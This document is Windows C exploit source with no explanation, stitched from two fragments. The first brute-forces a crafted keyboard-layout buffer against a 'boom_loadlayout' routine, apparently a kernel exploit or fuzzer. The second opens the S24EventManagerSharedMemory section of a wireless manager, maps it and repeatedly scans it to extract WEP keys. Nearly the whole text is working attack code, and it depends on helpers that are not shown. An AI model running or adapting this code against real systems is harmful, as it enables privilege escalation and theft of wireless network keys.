int _tmain(int argc, _TCHAR* argv[])
{
LoadLibraryA("user32.dll");
InitializeUnicodeStr(&uStr,L"p3d.dll");//ÏÖÔÚ±ØÐëСÓÚ³¤¶È
//fix by instruder
InitializeUnicodeStr(&uKerbordname,L"A");
uKerbordname.MaximumLength=0;
for (int j=0;j<=2;j++)
{
for (int i1=0;i1<=0xff;i1++)
{
for (int i2=0;i2<0xff;i2++)
{
printf("%x,%x\n",i1,i2);
fakeDll2[0x3d]=i1;
fakeDll2[0x3e]=i2;
fakeDll2[0x3f]=j;
boom_loadlayout();
}
}
}
return 0;
}//
int main(int argc, char* argv[])
{
OBJECT_ATTRIBUTES SectionAttributes;
SECTION_BASIC_INFORMATION buff;
PQUERYSECTION NtQuerySection;
POPENSECTION NtOpenSection;
char * sMap,cString[256];
UNICODE_STRING uStr;
LPVOID lpMapAddress;
DWORD i,b=0,c=0;
HANDLE hSection;
NtOpenSection = (POPENSECTION) GetProcAddress( LoadLibrary( "ntdll.dll" ),
"NtOpenSection" );
NtQuerySection = (PQUERYSECTION) GetProcAddress( LoadLibrary( "ntdll.dll"),
"NtQuerySection" );
InitializeUnicodeStr(&uStr,L"\\BaseNamedObjects\\S24EventManagerSharedMemory");
InitializeObjectAttributes(&SectionAttributes, &uStr,NULL, NULL, NULL );
NtOpenSection( &hSection, SECTION_MAP_READ|SECTION_QUERY, &SectionAttributes );
if (hSection == NULL) ShowError();
printf("Section opened successfully.\n");
lpMapAddress = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
if (lpMapAddress == NULL) ShowError();
if (NtQuerySection(hSection,0,&buff,sizeof(buff),0)) ShowError();
sMap= ( char* )lpMapAddress;
printf("Scanning section...\n\n");
while(c<100)
{
c++;
printf("\nSNAPSHOT ID[%d]----------------[BEGIN]\n\n",c);
for (i=0; i< buff.SectionSize.QuadPart; i++)
{
if( sMap[i]> 0x29 )
{
while( sMap[i] != 0x0 )
{
if( sMap[i]>=0x30 )
{
cString[b] = sMap[i];
b++;
}
i++;
}
cString[b++]='\0';
// less 3 characters should be GARBAGE
if( b>3 && b!=14 && b!=27 ) printf(" String collected: %s\n",cString);
// Alphanumeric WEP KEY (13 characters)
if( b==14 ) printf("### Possible Alphanumeric WEP KEY found: %s\n",cString);
if( b==27 )
{
if(cString[0]!=0x30 && cString[2]!=0x30 && cString[6]!=0x30)
printf("### Possible WEP KEY found(Ascii/HexMode): %s\n",cString);
else
printf(" String collected: %s\n",cString);
}
b=0;
}
}
printf("\nSNAPSHOT ID[%d]----------------[END]\n",c);
Sleep(1000);
}
CloseHandle(hSection);
return 0;
}
